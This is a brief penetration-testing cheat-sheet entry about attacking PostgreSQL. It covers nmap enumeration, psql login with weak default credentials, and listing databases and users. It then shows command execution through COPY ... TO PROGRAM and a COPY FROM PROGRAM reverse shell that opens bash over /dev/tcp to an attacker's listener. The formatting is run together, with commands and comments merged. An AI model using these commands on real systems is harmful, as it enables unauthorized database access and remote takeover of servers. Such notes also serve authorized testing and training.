PostgreSQL — weak creds, then dump data or RCE via COPY ... PROGRAM.
nmap -p5432 -sV -sC $tpsql -h $t -U postgres\l # list databases\du # list usersRequires superuser or pg_execute_server_program.
COPY (SELECT '') TO PROGRAM 'id';DROP TABLE IF EXISTS cmd; CREATE TABLE cmd(output text); COPY cmd FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1"';